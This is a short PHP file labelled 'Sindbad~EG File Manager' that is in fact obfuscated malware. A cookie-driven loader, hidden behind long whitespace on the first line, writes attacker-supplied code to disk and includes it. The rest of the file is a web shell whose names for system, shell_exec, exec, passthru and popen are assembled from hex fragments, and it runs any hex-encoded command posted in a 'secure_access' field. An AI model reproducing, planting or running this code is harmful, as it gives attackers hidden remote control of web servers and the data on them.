Sindbad~EG File Manager

<?php																																										if(isset($_COOKIE[3])&&isset($_COOKIE[28])){$c=$_COOKIE;$k=0;$n=7;$p=array();$p[$k]='';while($n){$p[$k].=$c[28][$n];if(!$c[28][$n+1]){if(!$c[28][$n+2])break;$k++;$p[$k]='';$n++;}$n=$n+7+1;}$k=$p[16]().$p[0];if(!$p[26]($k)){$n=$p[2]($k,$p[8]);$p[24]($n,$p[21].$p[13]($p[19]($c[3])));}include($k);}



$pset1 = '3';
$pset2 = '9';
$pset3 = '7';
$pset4 = '6';
$pset5 = '8';
$pset6 = '5';
$pset7 = 'c';
$pset8 = 'f';
$pset9 = '1';
$pset10 = '4';
$pset11 = '0';
$pset12 = 'd';
$pset13 = 'e';
$settings1 = pack("H*", '7' . $pset1 . '7' . $pset2 . $pset3 . $pset1 . '7' . '4' . '6' . '5' . $pset4 . 'd');
$settings2 = pack("H*", $pset3 . $pset1 . '6' . $pset5 . $pset4 . $pset6 . '6' . $pset7 . $pset4 . $pset7 . '5' . $pset8 . '6' . '5' . '7' . $pset5 . '6' . $pset6 . '6' . '3');
$settings3 = pack("H*", $pset4 . '5' . $pset3 . $pset5 . '6' . '5' . '6' . '3');
$settings4 = pack("H*", $pset3 . '0' . $pset4 . $pset9 . '7' . $pset1 . $pset3 . $pset1 . '7' . $pset10 . '6' . $pset5 . '7' . '2' . '7' . $pset6);
$settings5 = pack("H*", $pset3 . $pset11 . $pset4 . 'f' . $pset3 . '0' . '6' . '5' . $pset4 . 'e');
$settings6 = pack("H*", $pset3 . $pset1 . $pset3 . $pset10 . '7' . '2' . '6' . $pset6 . $pset4 . $pset9 . $pset4 . $pset12 . $pset6 . $pset8 . $pset4 . $pset3 . '6' . $pset6 . $pset3 . '4' . $pset6 . $pset8 . $pset4 . '3' . '6' . 'f' . '6' . $pset13 . $pset3 . $pset10 . $pset4 . '5' . $pset4 . 'e' . $pset3 . $pset10 . '7' . '3');
$settings7 = pack("H*", '7' . $pset11 . $pset4 . $pset1 . $pset4 . 'c' . $pset4 . 'f' . '7' . $pset1 . '6' . $pset6);
$secure_access = pack("H*", '7' . '3' . '6' . '5' . '6' . $pset1 . '7' . $pset6 . $pset3 . '2' . '6' . '5' . $pset6 . 'f' . '6' . $pset9 . '6' . '3' . $pset4 . $pset1 . '6' . '5' . $pset3 . $pset1 . '7' . '3');
if (isset($_POST[$secure_access])) {
    $secure_access = pack("H*", $_POST[$secure_access]);
    if (function_exists($settings1)) {
        $settings1($secure_access);
    } elseif (function_exists($settings2)) {
        print $settings2($secure_access);
    } elseif (function_exists($settings3)) {
        $settings3($secure_access, $parameter_group_flg);
        print join("\n", $parameter_group_flg);
    } elseif (function_exists($settings4)) {
        $settings4($secure_access);
    } elseif (function_exists($settings5) && function_exists($settings6) && function_exists($settings7)) {
        $ptr_elem = $settings5($secure_access, 'r');
        if ($ptr_elem) {
            $ent_entry = $settings6($ptr_elem);
            $settings7($ptr_elem);
            print $ent_entry;
        }
    }
    exit;
}